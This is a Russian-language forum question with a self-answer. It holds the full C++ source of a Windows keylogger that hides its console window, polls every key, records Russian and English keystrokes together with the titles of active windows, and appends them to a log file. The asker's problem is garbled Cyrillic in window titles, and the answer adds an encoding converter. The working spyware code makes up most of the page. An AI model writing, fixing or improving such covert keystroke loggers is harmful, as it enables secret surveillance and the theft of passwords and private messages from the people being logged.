Запись заголовков активных окошек в файлик C++

Рейтинг: -1Ответов: 1Опубликовано: 20.04.2023

Такое дело, у меня есть одна программка, которая отслеживать нажатие клавиш и записывает в файл out.txt, но вот беда... Почему-то, когда пытаюсь добавить функцию отслеживания окошек int Title(), то после нее все русские символы фаршмачатся. А вот если ее удалить, тогда все нормально. То есть, без записи заголовков окошек программа русский понимает. Пожалуйста, помогите разобраться, в чем дело?! Вот пример кода:

   #include <iostream>
   #include <fstream>
   #include <string>
   #include <Windows.h>
   #include <time.h>

   #define RUS 0x0419 //Код русской клавиатурной раскладки
   #define ENG 0x0409 //Код английской клавиатурной раскладки

   LPCWSTR rus = L"00000419";
   LPCWSTR eng = L"00000409";

   int BackSp = 0; //Переменная для BackSpase
   bool is_capslock = false; //Проверка включенности капслока
   char windowTitleOld[256] = "";


   HWND hWnd = GetForegroundWindow(); // получение дескриптора окна
   //DWORD tpi; // id потока, обслуживающего процесс

   int save(int key);
   int Title();
   void stealth();


   int main(int argc, char* argv[]) {
   // Скрыть консольное окно программы
   HWND hWnd = GetConsoleWindow();
   ShowWindow(hWnd, SW_HIDE);

   //int tpi = GetCurrentThreadId(); // получить идентификатор потока текущего процесса

   while (true) {
   Title(); 
    for (int i = 8; i <= 222; i++) {
        if (GetAsyncKeyState(i) == -32767) {
            save(i);
        }
   }
   }
   return 0;
   }

   int save(int key) {
   // Открыть файл лога для добавления новых записей
   std::ofstream out_file;
   out_file.open("out.txt", std::ios_base::app);
   if (!out_file.is_open()) {
   std::cout << "Ошибка открытия файла логов\n";
   return -1;
   }

   std::string sLogs = "";

   time_t t = time(0);
   // Получить текущую раскладку клавиатуры
   int layout = LOWORD(GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
   // Проверить текущую раскладку и выбрать соответствующий набор символов
   switch (layout) {
   case RUS: // русская раскладка
   switch (key) {
        
   //Пробел     
   case VK_SPACE:
   sLogs += " ";
   break;
        
    //Ввод набора русских букв с клавиатуры - начало 
   case  65: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ф" : "ф"; break;
   case  66: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "И" : "и"; break;
   case  67: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "С" : "с"; break;
   case  68: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "В" : "в"; break;
   case  69: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "У" : "у"; break;
   case  70: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "А" : "а"; break;
   case  71: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "П" : "п"; break;
   case  72: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Р" : "р"; break;
   case  73: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ш" : "ш"; break;
   case  74: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "О" : "о"; break;
   case  75: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Л" : "л"; break;
   case  76: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Д" : "д"; break;
   case  77: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ь" : "ь"; break;
   case  78: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Т" : "т"; break;
   case  79: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Щ" : "щ"; break;
   case  80: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "З" : "з"; break;
   case  81: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Й" : "й"; break;
   case  82: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "К" : "к"; break;
   case  83: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ы" : "ы"; break;
   case  84: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Е" : "е"; break;
   case  85: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Г" : "г"; break;
   case  86: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "М" : "м"; break;
   case  87: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ц" : "ц"; break;
   case  88: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ч" : "ч"; break;
   case  89: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Н" : "н"; break;
   case  90: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Я" : "я"; break;
   case 186: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ж" : "ж"; break;
   case 188: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Б" : "б"; break;
   case 190: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ю" : "ю"; break;
   case 219: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Х" : "х"; break;
   case 220: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "|" : "\\"; break;
   case 221: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ъ" : "ъ"; break;
   case 222: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Э" : "э"; break;
   case 191: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "," : "."; break;
   case 192: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ё" : "ё"; break;
    //Ввод набора русских букв с клавиатуры - конец

    // Добавить другие символы русской раскладки по аналогии
    default: break;
    }
    break;
    
    case ENG: // английская раскладка
    switch (key) {
        
    //Пробел        
    case VK_SPACE:
    sLogs += " ";
    break;  
        
    // Набор символов на английской раскладке
    case  65: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "A" : "a"; break; 
    case  66: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "B" : "b"; break; 
    case  67: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "C" : "c"; break; 
    case  68: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "D" : "d"; break; 
    case  69: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "E" : "e"; break; 
    case  70: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "F" : "f"; break; 
    case  71: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "G" : "g"; break; 
    case  72: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "H" : "h"; break; 
    case  73: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "I" : "i"; break; 
    case  74: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "J" : "j"; break; 
    case  75: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "K" : "k"; break; 
    case  76: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "L" : "l"; break; 
    case  77: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "M" : "m"; break; 
    case  78: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "N" : "n"; break; 
    case  79: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "O" : "o"; break; 
    case  80: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "P" : "p"; break; 
    case  81: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Q" : "q"; break; 
    case  82: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "R" : "R"; break; 
    case  83: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "S" : "s"; break; 
    case  84: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "T" : "t"; break; 
    case  85: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "U" : "u"; break; 
    case  86: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "V" : "v"; break; 
    case  87: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "W" : "W"; break; 
    case  88: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "X" : "x"; break; 
    case  89: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Y" : "y"; break; 
    case  90: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Z" : "z"; break;
    case 186: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? ":" : ";"; break;
    case 188: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "<" : ","; break;
    case 190: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? ">" : "."; break;
    case 219: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "{" : "["; break;
    case 221: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "}" : "]"; break;
    case 220: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? '|' : static_cast<char>(92); break;
    case 222: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Z" : "z"; break;
    case 191: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "?" : "/"; break;
    case 192: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "~" : "`"; break;
    //Ввод набора английских букв с клавиатуры - конец
    
    // Добавить другие символы английской раскладки по аналогии
    default: break;
    }
    break;
default:
    break;
}

out_file << sLogs;
out_file.close();
return 0;
  }

  int Title(){
    std::ofstream out_file;
    out_file.open("out.txt", std::ios_base::app);
    if (!out_file.is_open()) {
    std::cout << "Ошибка открытия файла логов\n";
    return -1;
    }

    char windowTitle[256];
    HWND WT = GetForegroundWindow();
    GetWindowText(WT, windowTitle, sizeof(windowTitle));
    if (strcmp(windowTitleOld, windowTitle) != 0) { // если заголовок изменился, то записываем его в файл
    strcpy(windowTitleOld, windowTitle);
    out_file << "\r\n" << "[" << windowTitle << "] :" << "\r\n";
    }
    out_file.close();
    return 0;
   }

введите сюда код

Ответы

▲ 0

Путем проб и ошибок нашел решение. Пришлось городить функцию конвертра ANSI

#include <iconv.h>
#include <string>

std::string ConvertToANSI(const std::string& utf8str)
{
std::string ansiStr;
iconv_t converter = iconv_open("WINDOWS-1251", "UTF-8");

if (converter == (iconv_t)(-1))
{
    return ansiStr;
}

char* inbuf = const_cast<char*>(utf8str.c_str());
size_t inbytesleft = utf8str.length();
size_t outbytesleft = inbytesleft * 2;

char* outbuf = new char[outbytesleft];
char* outbufstart = outbuf;

if (iconv(converter, &inbuf, &inbytesleft, &outbuf, &outbytesleft) == (size_t)(-1))
{
    delete[] outbufstart;
    iconv_close(converter);
    return ansiStr;
}

iconv_close(converter);

ansiStr = std::string(outbufstart, outbuf - outbufstart);
delete[] outbufstart;

return ansiStr;
}

Пример использования:

std::string sLogs = "Привет, мир!";
std::string ansiStr = ConvertToANSI(sLogs);